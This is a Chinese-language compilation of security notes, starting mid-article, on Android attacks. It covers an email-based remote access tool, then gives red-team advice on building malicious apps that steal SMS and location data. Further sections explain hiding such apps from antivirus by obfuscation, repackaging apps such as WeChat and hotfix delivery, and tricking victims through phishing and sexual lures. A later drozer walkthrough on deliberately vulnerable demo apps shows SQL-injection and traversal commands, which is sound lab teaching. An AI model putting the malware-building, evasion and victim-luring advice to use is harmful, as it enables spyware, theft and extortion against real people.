通过payload代码中第504行开始(sendEmail Class),我们可以知道这里就是发送邮件的地方。首先该程序会以这个会话的ID为发件人发一封邮件到payload设置的邮箱里面。我们可以确定整个程序编译是没有任何问题的。
继续往下看看控制端程序(gcat.py)。从235行开始,我们可以知道它的全部命令。
往上继续看,原来这个data目录主要是存储屏幕截图的。
但是当我准备输入-list的时候出错了。连接居然超时了,这个很不正常啊!重新浏览了两个python脚本的代码,都正确啊。
当时我的内心是大写的崩溃。不怕代码出错误,就怕出了错误不知道在哪里。Google 的时候发现了这么一个东西。OMG!我设置的两个账号都是QQ和163的,原来是这个原因。
后面得知Gmail没问题。做做实验还可以,要实际使用就不行了,因为Gmail在国内早被墙了。要解决这个问题也可以,就是用php脚本进行编译,因为QQ,163等对于php的邮箱模块支持没什么问题。这里就不继续讲解了,文章主要是做一个演示的作用。
Email C&C服务器相关代码:https://github.com/byt3bl33d3r/gcat
勒索、远控、APT
流 程
新手在学习 MetaSploit 时,也会照着书中的案例依葫芦画瓢:
- 生成一个恶意 apk
- 给 apk 签名
- 让目标来安装
这样就可以收到目标回传的信息,实施更多的控制。当然现实世界的进攻会非常复杂和依赖于各种环境和条件的限制,不过不得不承认,进攻的本质确实是这三条,分别对应:
- 完成恶意应用的具体功能模块
- 通过各种免杀技术使App可以存活并运行
- 各显神通去诱骗 目标(受害者) 下载、安装和使用
功能:远控、上传、勒索、加密
哪些功能是恶意应用必备的呢?
最起码联络cc
,通过服务端下发指令并执行要有吧:
获取并上传用户短信:
通过 Accessibility Service 直接操作模拟点击手机界面:
上传用的定位、串号、手机状态等信息:
上述这些只是冰山一角,如果配合root可以做到对其他应用如手机浏览器进行注入,启动用户手机指定App,删除指定应用,更新恶意插件等恶意行为。
当然现在的手机想要root是非常困难了,但并不妨碍很多高级APT团伙使用0day或1day来开发Exploit进行远程root,这就需要更为昂贵的投入和深厚的技术功底了。这也是为何现在的APT频频有国家队作为背后支撑的原因。
当然在社会上被广泛使用的还是比较低级的加密、锁机、或者上传视频进行勒索。
当然不要小看这些低级技术的危害,比如我们的时间管理大师——罗志祥就曾经在这上面栽过跟头:早期罗志祥与网友裸聊画面曝光 曾上节目哭诉辩解。
不排除甲方老板也好这一口,对吧。比如有些人表面上在白天他是演员,其实到了晚上他是运动员。社工很多时候是真的比0day
、1day
好用。
在内网把各种资料都搜集到了之后,如何不走网关不动声色地上传到cc
呢?这就用到前文讲的手机卡流量逃逸了。
传统免杀技术:混淆、加密、VMP
这部分其实跟App加固是重合的,因为原理是一模一样的。
前者的目标是保护App不被逆向破解者给分析,后者是为了掩盖特征,逃过杀软或者行为管理软件的识别。
你用msf生成一个payload,啥也不干就发到对方机器上,那就等于去送人头,不杀你杀谁呢?或者攻击团队煞费苦心开发了好几个月的木马,啥也不防就发过去,其实就是给防守团队送源码去的。
总得混淆、加密甚至上个VMP保护下吧,虽然还是会被病毒分析人员分析,并且肯定会被扒个底朝天,但是恶心他一下也好啊。
这部分技术非常多,这里主要也就是给个索引,大家有兴趣可以自行深入分析。
混淆:
资源混淆:https://github.com/shwenzhang/AndResGuard/blob/master/README.zh-cn.md
代码混淆。
Java混淆:字符串加解密、免费的ProGuard和商业版DexGuard
Native混淆:Ollvm、字符串混淆、自主混淆器libsgmain
反反编译器:
花指令。
重打包对抗:对抗 jd-gui、dex2jar、baksmali、shakaapktool、androguard
反调试:
17种反调试收集:https://bbs.pediy.com/thread-223460.htm
签名校验、模拟器检测、hook检测、root检测:梆梆:https://bbs.pediy.com/thread-223141.htm
加固
业务场景加固(安全键盘、防拷贝、防截图)
Java 源码加固(华为方舟Java2C):https://zhuanlan.zhihu.com/openarkcompiler
Dex 加固
整体型:https://github.com/guanchao/apk_auto_enforce
抽取型:http://www.520monkey.com/archives/1118
Dex2C:https://bbs.pediy.com/thread-253987.htm
VMP:https://github.com/chago/ADVMP
so 加固
节加密、函数加密、动态注册、hook重定向:https://github.com/guanchao/AppProtect
自定义 linker:https://bbs.pediy.com/thread-225798.htm
内存免杀技术:重打包、VA、Hotfix
直接送个apk
给对方,让对方安装,还是难度颇大。
有简单的方式就是拿市面上的大厂App
解包之后,安插进自己的代码,重打包,然后可以:
- 创造机会让对方下载,比如公司规定安装某银行的手机客户端,邮件里还附上了
apk
,对方大概率会下载安装; - 或者有机会接触对方手机的话,直接就把他原来的微信卸载了,装上自己重打包的微信;你的代码就跑在微信里,所有的权限都继承自微信,那其实他在攻击者眼中就没有秘密了。
其实重打包做免杀的技术已经广泛应用在山寨App
的黑色产业链之中了,他们的盈利方式是通过往热门应用“插包”、“重打包”的方式,植入广告劫持模块进行刷量作弊,当正常用户被诱导安装使用了这些真假难辨的山寨应用后,即可实现对广告主的,以为自己在正常使用App
,其实是在疯狂点击广告,实现对正规广告主的”薅羊毛”行为。
想要将远控、或上传等代码隐藏好,实现不落地加载的话,可以将核心逻辑不要直接重打包进包里,而是做个hotfix
,等App
执行一段时间之后,再通过下发补丁包,让已安装的客户端来执行远控代码。
得益于安卓平台的开放性,热修复在安卓平台几乎无所不能,可以修复资源文件、修复代码(类、方法等),甚至连so
库都可以修复,常用的框架有阿里系的AndFix
、Hotfix
,腾讯系的Tinker
、QFix
,还有美团的等等。
这些本应用于动态修复bug
、免重安装修复bug
的热修复框架,到了红队手中也是摇身一变,就好比张小泉的菜刀,切菜好用,摇身一变就是“中国菜刀”。
最后再介绍一种动态掩盖特征的方法,那就是用VA
来“加固”,VA
等多开工具将安卓系统与VA
内的应用隔离,使得应用的静态特征被动态掩盖,目前己有广泛的恶意应用使用VA
对自身重打包,重打包后的应用包名、软件名与原应用不同,从而逃过静态查杀。
等到VA
运行时,可以解密恶意应用Apk
,通过反射等技术欺骗安卓系统来运行未安装在系统中的Apk
,到这一步就跟正常的App
无异了,这方面也有一篇详细的文章:《VirtualApp技术黑产利用研究报告》。
VA
的本质就跟Windows
平台上的壳技术差不多,先于恶意应用前运行,瞒过杀软之后,再将恶意应用释放出来运行。
加载器:社工、水坑、钓鱼、引流
payload
功能实现了,做了加密和混淆加固了,核心逻辑做了热补丁动态下发(可以到内网的小美手机那里下,前面不是开启了APACHE SERVER
么?),如果目标还是不安装,那一切还是等于零。
其实前面已经说了几种方法,比如伪装成集团IT
部分要求大家统一安装,这也是最常见的社会工程学手段,俗称钓鱼或者水坑,大家经常收到这种员工薪酬.xls
、员工通讯录2020版.doc
等文件,打开即会释放宏木马,攻陷PC
,如果此时企业App
的开发者把开发手机也连在电脑上,也会给处于开发者模式的手机安装恶意软件。
也可以直接攻陷集团MDM
服务器,直接分发木马,见这篇:Hackers breach company’s MDM server to spread Android malware,或者直接想办法拿到对方的手机,这也是直接出击的社工了,“美人计”甚至“美男计”也属于社工的一部分。兵者、诡道也。
社工的成功率是非常高的,所以大家也会经常受到各种诱导点击链接短信,菠菜、色流等一大堆。不要小看人类最原始的本能欲望,色流在黑产中的应用范围之广超出想象,前面说的时间管理大师都会中招。
说不定油腻中年老板就喜欢这些妹妹呢?这些照骗确实让人把持不住。
总结:只是开始
在ARM设备武器化指南攻击篇中,介绍了Kali Nethunter包括Rootless版本和完整版的安装、使用和简单上手实践,还有一般木马、远控的免杀思路和方法。
其实Kali Nethunter的强大之处不仅在于攻击,在防守方面也照样“屡立奇功”,比如得益于其定制版内核解锁arm64架构的Linux软件包安装,可以作为App沙箱和蜜罐,捕获木马并进行内核层面的“降维”攻击分析。详细分析流程和思路敬请期待防守篇。
6、手机渗透测试平台
类似 nethunter
andrax
介绍
:https://www.freebuf.com/sectool/187100.html
andrax 是一个 APP,里面整合了一整套渗透测试实用程序,是专为Android智能手机设计的渗透测试平台,它可以直接在原生Android系统上运行,它不仅能够跟常用Linux发行版相媲美,而且它的功能甚至比常见Linux发行版更加强大。nethunter 需要刷进手机,同时有的手机不支持,如果不刷而是使用 ternux 安装,某些工具因为获取不到root权限会出现问题。这时就可以放弃 termux + nethunter 转而使用 andrax。
- ANDRAX 是一款专为Android智能手机设计的渗透测试平台,
- NetHunter 只是一款Debian模拟运行工具。
Andrax5 通用版安装教程,让你拥有强大的渗透测试工具:https://zhuanlan.zhihu.com/p/615387221
andrax pentest 高级专业黑客安卓渗透测试工具:https://www.ddosi.org/andrax/
信息收集
-Whois
-BindDNS工具
-Dnsrecon
-Raccoon
-DNS-Cracker
-Firewalk
网络扫描
-Nmap– 网络映射工具
-Masscan
-SSLScan
-Amap
数据包制作
-Hping3
-Nping
-Scapy
-Hexinject
-Ncat
-Socat
网络攻击
-ARPSpoof
-Bettercap
-MITMProxy
-EvilGINX2
网站入侵
-0d1n
-Wapiti3
-Recon-NG
-PHPSploit
-Photon
-XSSer
-Commix
-SQLMap
-Payloadmask
-AbernathY-XSS
密码破解
-Hydra
-Ncrack
-JohnThe Ripper
-CRUNCH
无线攻击
-VMPEvil AP
-Aircrack-NGTools
-Cowpatty
-MDK3
-Reaver
漏洞利用
-MetaSploitFramework
-RouterSploitFramework
-Getsploit
-OWASPZSC
-Rop-TOOL
等等等等…….
MetaSploit Framework(漏洞利用框架)
Jaeles(web漏扫器)
Nuclei(轻量级漏洞利用)
OWASP-ZAP(web漏扫器)
Hydra(在线pj器)
John The Ripper(离线pj器)
Aircrack-NG(wifi漏洞利用集)
CrackMapExec(域环境渗透瑞士军刀)
Empire(后渗透测试神器)
EvilSSDP(欺骗 SSDP)
RouterSploit Framework(专注于家用路由器的漏洞利用框架)
PRET Framework(打印机开发工具包)
Singularity DNS Rebinding Framework(DNS重新绑定攻击工具)
DNSteal(DNS传输文件工具)
Radare2(二进制分析框架)
EvilGINX2(网络钓鱼框架)
EnodeB-HACK(基站漏洞利用)
ICSSPLOIT(工控系统漏洞利用)
BIRP (Big Iron Recon & PWN)(评估通过TN3270服务的大型机应用程序的安全性)
QrlJacker(二维码劫持攻击框架)
Katana-DS(自动执行Google Hacking / Dorking)
OWASP Tools
Maltego(可视化威胁建模)
Raccoon( 信息收集工具)
Scapy(交互式数据包处理工具)
Bettercap( 轻量级MiTM 框架)
顶级ANDRAX工具速览_漏洞利用_26
Vulnx(自动检测多种CMS漏洞的程序)
顶级ANDRAX工具速览_OWASP_27
EAPHammer(一款针对WPA2企业网络环境的Evil Twin攻击测试工具)
高级终端。该工具还提供了高级且专业的终端模拟器:
动态分类(DCO)。美化的工具分类系统:
高级IDE。支持多种编程语言:
Andrax5 通用版安装教程
手机需要 root。:https://gitlab.com/crk-mythical/andrax-hackers-platform-v5-2
7、Android 的 app 渗透测试
移动端渗透测试工具相比丰富的web端真的是少之又少,drozer 就是移动端的一个工具。
ADB Shell 命令帮助:https://adbshell.com/downloads
adb 快速导出安卓安装包
查看手机中已安装的所有 apk 文件
adb shell pm list package
根据要导出的 app 包名,查看 APP 安装路径
adb shell pm path com.DeviceTest
根据以上路径导出 apk 源文件到 PC 端
adb pull /xxx/xxx/xxx.apk C:\PC路径\desktop\
APP安全性测试的工具
1. Quick Android Review Kit
由领英开发的一款静态代码分析工具,是开源的。它可以提供有关 Android App 安全威胁的信息,并提供有关安全漏洞的完整信息。它可以生成有关潜在漏洞的报告,并提供一些解决办法,它还能突出显示与 Android 版本有关的安全问题。此外,它能扫描移动 App 中的所有元素,查找安全威胁。
2. Zed Attack Proxy:https://www.zaproxy.org/
它是全球最受欢迎的免费安全测试工具之一,它易于安装、支持多种脚本语言类型,还能提供 20 种不同语言的版本。在软件开发和测试阶段,ZAP 可以自动识别 App 中的安全漏洞。
3. Drozer(MWR InfoSecurity):https://github.com/WithSecureLabs/drozer
它是由 MWR InfoSecurity 开发的 App 安全测试框架,帮助开发者确定 Android 设备中的安全漏洞。它是一个开源工具,可同时支持真实的 Android 设备和模拟器,而且能在很短的时间内评估与 Android 安全相关的复杂性。
4. MobSF(Mobile Security Framework):https://github.com/MobSF/Mobile-Security-Framework-MobSF
这是一款开源的自动化移动 App 安全测试工具,适用于 iOS 和 Android,能对 Android、iOS、Windows 的移动 App 进行更快的安全性分析。它还可以熟练执行动态、静态分析和 Web API 测试。它可以托管在本地环境,因此机密数据不会与云交互。同时,开发人员可以在开发阶段识别出安全漏洞。
5. Android Debug Bridge:https://source.android.google.cn/docs/setup/build/adb?hl=zh-cn
它是用于专门与运行 Android 设备进行通信的命令行移动应用程序测试工具。
它提供了一个终端接口,用于控制使用 USB 连接到计算机的 Android 设备。ADB 可用于安装 / 卸载应用程序、运行 Shell 命令、重启、传输文件等。并且,可以使用此类命令轻松还原 Android 设备。ADB可轻松与谷歌的 Android Studio 集成开发环境进行集成,它还可以实时监控系统事件,允许使用 Shell 命令在系统级别进行操作。
6. Micro Focus(Fortify):https://www.microfocus.com/zh-cn/home
它可以被安装到移动设备前保护移动 App 的安全,而且,它支持各种平台,有助于识别跨网络、服务器和客户端的安全漏洞。Fortify 使用灵活的交付模型执行端到端测试,其安全测试包括静态代码分析和针对移动 App 的扫描,并能给出准确结果。
7. CodifiedSecurity:https://codifiedsecurity.com/
它是一款著名的自动化移动 App 安全测试工具。它可以发现并修复安全漏洞,提供实时反馈,并确保开发者足够安全地使用移动应用程序。它支持 Android 和 iOS 平台,也支持静态测试和动态测试,还可以在不获取源代码的情况下测试移动 App。它遵循用于安全测试的程序化方法,该方法可确保测试结果是可靠的。
8. WhiteHat Security
它是基于云的安全平台,并使用其静态和动态技术提供快速的解决方案。它已经被 Gartner 认可为安全测试的领导者,并赢得了多个奖项。WhiteHat Sentinel 通过在真实设备上安装移动 App 进行测试,无需模拟器,它支持 iOS 和 Android 平台,可提供有关项目状况的完整信息。
9. Kiuwan
它提供领先的技术覆盖范围,可对移动 App 进行360°的安全性测试。它包括静态代码分析和软件组成分析,以及软件开发生命周期的自动化
10. Veracode
Veracode 向全球客户提供移动应用程序安全性服务。
drozer
Drozer 是一个 Android 安全测试框架:https://github.com/WithSecureLabs/drozer
其官方文档说道:"Drozer允许你以一个普通android应用的身份与其他应用和操作系统交互"。Drozer是一种交互式的安全测试工具,使用Drozer进行安全测试时,用户在自己的电脑上输入命令,Drozer会将命令发送到Android设备上的代理程序执行,从而来搜索应用程序和设备中的安全漏洞。
实际上 Drozer 的核心功能就是通过分析 AndroidManifest.xml,看四大组件中有没有可 export 的,如果有那么就进一步检测这些可导出的组件是不是存在相应的安全问题。
Android 系统的组件共有四种,其主要用途分别为:
- Activity ( 界面):应用程序中,一个Activity通常就是一个单独的屏幕(或者页面),是用户操作的可视化界面,一个应用程序一般由多个 Activity 组成,是最常见的组件。它上面可以显示一些控件也可以监听并处理用户的事件做出响应。 Activity之间通过 Intent 进行通信。在Intent的描述结构中,有两个最重要的部分:动作和动作对应的数据。
- Service (服务):没有用户界面的程序,通常用作在后台处理耗时的逻辑。常见于监控类应用
- Content Provider (数据):内容(数据)提供者,在多个APP间共享数据,比如通讯录
- Broadcast Receiver (广播):在应用程序之间传输信息的机制,分为接收与发送。注册特定事件,并在其发生时被激活
对于四种组件,需要关注的点就是 是否允许其他应用随意调用
- android:exported 属性
该属性指明了是否支持其它应用调用当前组件。
Activity、Service、Broadcast 默认值:
如果包含有 intent-filter 默认值为 true,表示其他 Application 可调用该组件;
没有 intent-filter 默认值为 false,表示其只能被当前 Application 或者拥有同样 USER ID 的 Application 的调用。
Provider 默认值:
当 Android sdk 的最小版本为 16 或者更低时其默认值为 true。如果是 17 及以上的版本默认值为 false。
当组件的 android:exported="true" 时,会导致其他应用可随意调用该组件(直接调用或者通过 action 调用),那么势必会导致一些问题。 - android:permission
组件导出作用、危害
- 什么是组件导出?简而言之,就是别的APP也可以访问这个组件。再总而言之,就是组件权限的控制。
- 组件导出有什么用?有些APP的功能需要提供一些接口给其它APP访问,就需要把相关的接口功能放在一个导出的组件上。
- 组件导出有什么危害?因为权限声明是以组件为单位的,A组件调用B组件的功能来访问操作系统API时,适用于B组件的权限声明。如果B作为导出组件,没有进行严格的访问控制,那么A就可以通过调用B来访问原本没有声明权限的功能,构成本地权限提升。
最新的drozer(版本3.0.1)无法在 Windows 上运行,必须在 虚拟机(推荐Kali、Ubuntu) 或 Docker 容器 ( 容器和基本设置:https://hub.docker.com/r/withsecurelabs/drozer) 运行 drozer。
这里选择 kali 虚拟机上运行 drozer
从 github下载最新版本drozer的whl包并安装 :sudo pip install drozer-<version>.whl
linux 安装 adb:apt-get install android-tools-adb
手机安装 drozer-agent.apk
可以安装在 实体安卓手机上(使用USB连接PC),也可以安装在模拟器
下载 drozer-agent.apk:https://github.com/WithSecureLabs/drozer-agent/releases/latest
直接下载 drozer-agent.apk 并安装,或者通过 adb 安装:adb install drozer-agent.apk
安装成功后运行 drozer-agent,确保右下角按钮显示为 "开启"。
通过网络连接到安卓手机
最简单的方法就是 "目标手机和PC在同一网段"。 drozer代理在安卓设备上运行,并且嵌入式服务器已经启动。
如果使用 docker 则执行:docker run --net host -it --entrypoint sh withsecurelabs/drozer
# docker run --net host -it withsecurelabs/drozer
获取容器中 shell(例如,通过 drozer 从安卓手机上查看、下载 文件)
最后,执行 drozer 命令连接到手机: drozer console connect --server <phone IP address>
通过USB连接到手机
如果网络通信受到限制,则可以通过 数据线 把手机连接到电脑上。然后电脑上使用 adb 端口转发功能从而实现PC和手机的通信。adb forward 用法:adb forward LOCAL REMOTE。端口转发:adb forward tcp:31415 tcp:31415 作用是将PC端 31415 端口的数据转发到手机端 31415 端口,从而实现PC和手机的通信。
如果使用 docker 则执行:docker run --net host -it --entrypoint sh withsecurelabs/drozer
# docker run --net host -it withsecurelabs
运行drozer命令连接到手机: drozer console connect --server localhost
drozer 连接 drozer-agent
手机 IP:192.168.51.40
Kali IP:192.168.51.33
在PC(这里是Kali)上使用 drozer 命令连接手机上的 drozer-agent,
drozer 命令帮助
run 执行 drozer 模块
list 显示当前会话中有权限执行的所有drozer模块的列表。
shell 在代理进程的上下文中,在设备上启动交互式Linux shell。
cd 将特定的命名空间挂载为会话的根,以避免重复键入模块的全名。
clean 删除Android设备上drozer存储的临时文件。
contributors 显示对drozer框架和系统中使用的模块做出贡献的人员列表。
echo 将文本打印到控制台。
exit 终止 drozer 会话.
help 显示有关特定命令或模块的帮助。
load 加载一个包含drozer命令的文件,并按顺序执行它们。
module 从互联网上查找并安装其他drozer模块。
permissions 显示授予drozer代理的权限列表。
set 在变量中存储一个值,该变量将作为环境变量传递给drozer生成的任何Linux shell。
unset 删除drozer传递给它生成的任何Linux shell的命名变量。
使用步骤:
- 首先,使用 list 查看支持哪些模块;
- 然后,使用 help module_name,或者 run module_name -h 查看各 module 的用法;
- 最后,通过 run module_name module_options 来对 app 进行检测。
查看模块列表:dz> list
获取app包列表:dz> run app.package.list
获取 app 信息。包括app版本,在设备中保存数据的位置,安装的位置,app权限等。
获取要检测的app的包名:run app.package.list -f <包的关键字>
查看apk基本信息:run app.package.info -a <包名>
识别攻击面:run app.package.attacksurface <包名>攻击面就是指安卓四大组件(activaty、broadcast 、content provider、service) 的 export 属性,如果四大组件中设置有 export 属性,就去具有export的组件有没有问题。
寻找找到攻击面时,需要关注 android 的 IPC 通信机制的脆弱性,这些特点导致了App泄漏敏感信息给同一台设备上的其它App。APP评估中4项公共组件漏洞
- 组件Content Provider配置错误,导致数据泄漏
- 组件Activity配置错误,导致登录页面被绕过
- 组件Service配置错误,导致非法权限提升
- 组件Broadcast Receiver配置错误,导致拒绝服务、非法越权
攻击面
run app.package.list -f 关键字 搜索包含关键字的包名
run app.package.info -a com.xxx.xxx 获取app的基本信息
run app.package.attacksurface com.xxx.xxx 确定攻击面
run app.activity.info -a com.xxx.xxx 获取activity信息
run app.activity.start --component com.xxx.xxx 启动activity
help app.activity.start
run app.provider.info -a com.xxx.xxx 获取Content Provider信息
根据具体的攻击面进行攻击
启动暴露的activity
run app.activity.start--component (package name) (component name)启动暴露的broadcast
run app.broadcast.start --component (package name) (component name)启动暴露的provider
run app.provider.query--content://com.mwr.example.sieve.DBContentProvider/Passwords启动暴露的service
run app.service.start --component (package name) (component name)
经过这些操作之后就成功渗透进入app的内部了。后面可以根据实际情况继续深入。
比如:sql注入就属于内容攻击的层面,这个时候我们在明确了内容暴露之后进行如下的攻击:
1.检测四大组件安全 :
查看 activity 组件信息:run app.activity.info -a <包名>
查看 broadcast 组件信息:run app.broadcast.info -a <包名>
查看 service 组件信息:run app.service.info -a <包名>
查看 content provider 组件信息: run app.provider.info -a <包名>2.检测 URI 数据泄露风险:
Drozer的scanner模块提供了一些方法去猜测可能存在的content URIs.
run scanner.provider.finduris -a <包名>3.检测文件遍历漏洞 :
Scanner模块提供一些方法检测本地Content Provider数据是否有文件遍历漏洞风险
命令:run scanner.provider.traversal -a <包名>4.检测是否存在本地sql注入:
Scanner模块提供一些方法去检测本地储存的SQLite数据是否有SQL注入的风险。
命令:run scanner.provider.injection -a <包名>
下载 示例 sieve.apk
Drozer 官网提供了一个用于漏洞测试的 Demoapk 程序 sieve.apk,下载安装到手机(USB连接实体测试机到PC):https://github.com/as0ler/Android-Examples
流程:APP第一次打开后,主页要求设置访问密码(com.mwr.example.sieve.MainLoginActivity)。验证成功后进入下一级页面 (com.mwr.example.sieve.PWList) 查看密码。
执行命令 run app.package.list -f sieve 搜索关键词 sieve 获取具体包名
执行命令 run app.package.info -a com.mwr.example.sieve,获取 sieve 应用的版本、数据存储目录、用户ID、权限等基本信息
行命令 run app.package.attacksurface 包名,识别出应用的攻击面
Drozer会告诉我们应用是否有 export 可导出得暴露的组件,注意到services下面提示isdebuggle 说明是可调试,这意味着可以附加一个调试器到这个进程。
activity 越权
Activity是Android组件中最基本也是最为常见用的四大组件之一,是一个负责与用户交互的组件。
APP应用中主活动(比如MainLoginActivity)是app启动时的主界面,必须可以导出,但其他 Activity 正常情况下是不能导出的,遇到可导出且不需要权限的 Activity 活动组件,可以用 Drozer 命令来尝试直接启动该活动,往往可以发现越权访问(如绕过登录验证访问数据)的漏洞。
执行命令 run app.activity.info -a com.mwr.example.sieve,可查看APP对外的 activity 组件信息:
发现3个activity 被导出,而且不要求任何权限,那么就让 drozer 来加载它。执行命令 run app.activity.start --component 包名 活动组件名)直接调用查看密码的 Activity ,从而实现绕过登录验证功能,越权查看密码。至此,成功借助 Drozer 绕过登录授权验证,造成 Activity组件的越权访问漏洞。(没绕过的话,打开 sieve 时是需要我们输入密码才能登录到此界面的)
Intent 负责Activity间的通信
intent 组件触发(拒绝服务、权限提升)。利用 intent 对组件的触发一般有两类漏洞,一类是拒绝服务,一类的权限提升。拒绝服务危害性比较低,更多的只是影响应用服务质量;而权限提升将使得没有该权限的应用可以通过intent触发拥有该权限的应用,从而帮助其完成越权行为。
尝试权限提升。权限提升其实和拒绝服务很类似,只不过目的变成构造更为完整、更能满足程序逻辑的 intent。由于activity一般多于用户交互有关,所以基于 intent 的权限提升更多针对 broadcast receiver 和 service。与drozer相关的权限提升工具,可以参考IntentFuzzer,其结合了drozer以及hook技术,采用 feedback策略进行fuzzing。以下仅仅列举drozer发送intent的命令:
(1)获取service详情:run app.service.info -a com.mwr.example.sieve
不使用drozer启动 service:am startservice –n 包名/service名
(2)权限提升:run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS
越权漏洞--绕过登录界面导致可直接访问Your Passwords界面,说明存在越权漏洞。
run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
Content Provider
内容提供器(Content Provider) 为存储和获取数据提供统一的接口。可以在不同的应用程序之间共享数据。把一个应用程序指定的数据集提供给其他应用程序。这些数据可以存储在文件系统中、在一个SQLite数据库、或以任何其他合理的方式。其他应用可以通过ContentResolver类从该内容提供者中获取或存入数据。只有需要在多个应用程序间共享数据是才需要内容提供者。
Content Provider组件中存在以下常见的漏洞:
- 读写权限漏洞Content Provider中通常都含有大量有价值的信息,比如用的电话号码或者社交帐号登录口令,而确认一个content provider是否有能被攻击的漏洞的最好的办法,就是尝试攻击它一下。可以用drozer来寻找一些不需要权限的
contentprovider:dz> runapp.provider.info –permission null
这条命令能列出所有不需要任何读写权限的Content Provider,然后找到相对应的包,去访问给定包存放在它的Content Provider中的数据。如果一些 Content Provider 的 URI 不需要读权限,那就可以通过drozer工具提取其中的数据。在某些情况下,设置和执行读写权限不当,也会将ContentProvider中的数据暴露给攻击者。除了提取数据,对于写权限管理不当的Content Provider还可以向其中写入数据,使得攻击者可以将恶意数据插入到数据库中。 - Content Provider中的SQL注入漏洞和Web漏洞类似,安卓APP也要使用数据库,那就也有可能存在SQL注入漏洞。主要有两类,第一类是SQL语句中的查询条件子语句是可注入的,第二类是投影操作子句是可注入的。使用drozer可以很容易的找出查询条件子句可注入的content provider。
dz> runapp.provider.query [URI] –selection “1=1”
也可以使用其他恒为真的值,例如“1-1=0”,“0=0”等等。如果APP存在SQL注入漏洞,那么输入这行指令后就会返回数据库中的整张表。 - Provider文件目录遍历漏洞当Provider被导出且覆写了openFile方法时,没有对Content Query Uri进行有效判断或过滤。攻击者可以利用openFile()接口进行文件目录遍历以达到访问任意可读文件的目的。
执行命令 run app.provider.info -a com.mwr.example.sieve 可以获取Content Providers详细信息:
从返回结果可以看出,对 sieve 应用的 DBContentProvider 内容提供器的访问除了/Keys 路径,其他的都不需要权限;而对 FileBackupProvider 内容提供器的访问则不需要任何权限,那么我们就可以从中获取敏感数据。
目录 URI 必须以 "content://" 开头,所以可以尝试重构部分目录URI来进入DBContentProvider。drozer 提供一个扫描模块来猜测并验证一系列可以使用的目录URI。执行命令 run scanner.provider.finduris -a com.mwr.example.sieve(-a 指定应用名称,不加参数会扫描手机安装的所有app):
可以看到有三个URI 可以访问,考虑 /Keys 需要权限,所以可以使用content://com.mwr.example.sieve.DBContentProvider/Passwords/ 来测试。
信息泄露,获取敏感数据
扫描并获取Content Provider信息,并列出了可访问内容URI的列表和路径:run scanner.provider.finduris -a com.mwr.example.sieve
查询或修改数据库中的数据,发现存在数据泄露问题,访问uri可看到一些敏感信息。执行命令 run app.provider.query uri,可从不需要权限的内容提供器中读取敏感数据:
SQL 注入
content可能导致注入问题。andorid 应用大多使用sqlite数据库存储数据,sqlite 又使用 sql 操作数据,那么就有可能存在sql注入漏洞。使用参数 "projection、seleciton" 可以传递一些简单的SQL注入语句到Contentprovider。下面通过简单的方法测试是否存在该漏洞。
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/
--projection "'"
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/
--selection "'"
报错了,说明应该是存在SQL注入的,报错信息告诉我们整个查询是如何执行的。现在可以完整地攻击这个漏洞,来列出数据库中的所有表。类似于sqlmap,借助 Drozer 还可以进一步查看都有哪些表,并且可以查询表中的数据。
首先查询存在哪些表:run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
接着查询表中的数据:run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
结果如下图所示:
最后,也可以使用扫描功能对该app注入点位置进行自动扫描
run scanner.provider.injection -a com.mwr.example.sieve
run scanner.provider.traversal -a com.mwr.example.sieve
列出该app的表信息:run scanner.provider.sqltables -a com.mwr.example.sieve
文件 操作
前面测试了存在注入的 URI,由于 provider 还提供文件访问,于是可以探测目录穿越
File System-backedContent Provider 提供了访问底层文件系统的方法,Android 沙盒会阻止App共享文件,而 FileSystem-backed Content Provider 允许App共享文件。
对于sieve来说,我们可以推测出的FileBackupProvider就是一个filesystem-backed content provider。这个路径代表了我们想要打开的文件的位置。因此我们可以猜测它的目录URIs,并且使用drozer的app.provider.read模块查看某个文件。执行以下命令可对底层文件进行读取:
contentprovider存在SQL注入和目录遍历的风险。Drozer提供模块来自动测试这些类型的漏洞。
文件下载:run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data
目录遍历漏洞: run scanner.provider.traversal -a com.mwr.example.sieve
注入 检测
目录遍历漏洞检测:
下载文件 run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db C:\\database.db
列出指定文件路径里全局可写/可读的文件
run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo
run scanner.misc.readablefiles --privileged /data/data/com.sina.weibo
run app.broadcast.send --component 包名 --action android.intent.action.XXX
至此几乎完全攻陷了sieve,提取出了用户的密码、pin,密文,也发现并利用了很多典型的漏洞,比如SQL注入、目录遍历等。电商关注的是业务逻辑漏洞、越权。具体的就是价格篡改、订单便利、客户敏感信息泄露等等漏洞,并描述漏洞测试方法及测试点有哪些。
Service 提权
Service 作为 Android 四大组件之一,具有和Activity一样重要的级别,运行于后台的服务没有界面。其他应用组件能够启动Service,并且当用户切换到另外的应用场景,Service将持续在后台运行。另外,一个组件能够绑定到一个service与之交互(IPC机制),例如,一个service可能会处理网络操作,播放音乐,操作文件I/O或者与内容提供者(content provider)交互,所有这些活动都是在后台进行。从表面上看service并不具备危害性,但实际上service可以在后台执行一些敏感的操作。
Service存在的安全漏洞包括:权限提升,拒绝服务攻击。没有声明任何权限的应用即可在没有任何提示的情况下启动该服务,完成该服务所作操作,对系统安全性产生极大影响。
以下示例如何借助可导出的Service组件进行权限提升,演示过程基于另一个漏洞Demo APP,下载地址:OWASP GoatDroid- FourGoats Android App.apk,安装后主页面如下:
使用 jadx-gui 反编译 APK 文件并查看源码:
发现 org.owasp.fourgoats.goatdroid.LocationService 服务可被导出且不需要任何权限,这意味着任何与 FourGoats 应用程序安装在统一设备上的恶意应用程序可以访问该设备的位置,这是非常危险的。使用 Drozer 确定下该APP的攻击面:
接着可以使用以下命令,调用内部服务组件:
查看services信息:run app.service.info -a org.owasp.goatdroid.fourgoats
启动相关服务用法:run app.service.start --action 服务名 --component 包名 服务名
示例:run app.service.start --action org.owasp.goatdroid.fourgoats.services.LocationService --component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.services.LocationService
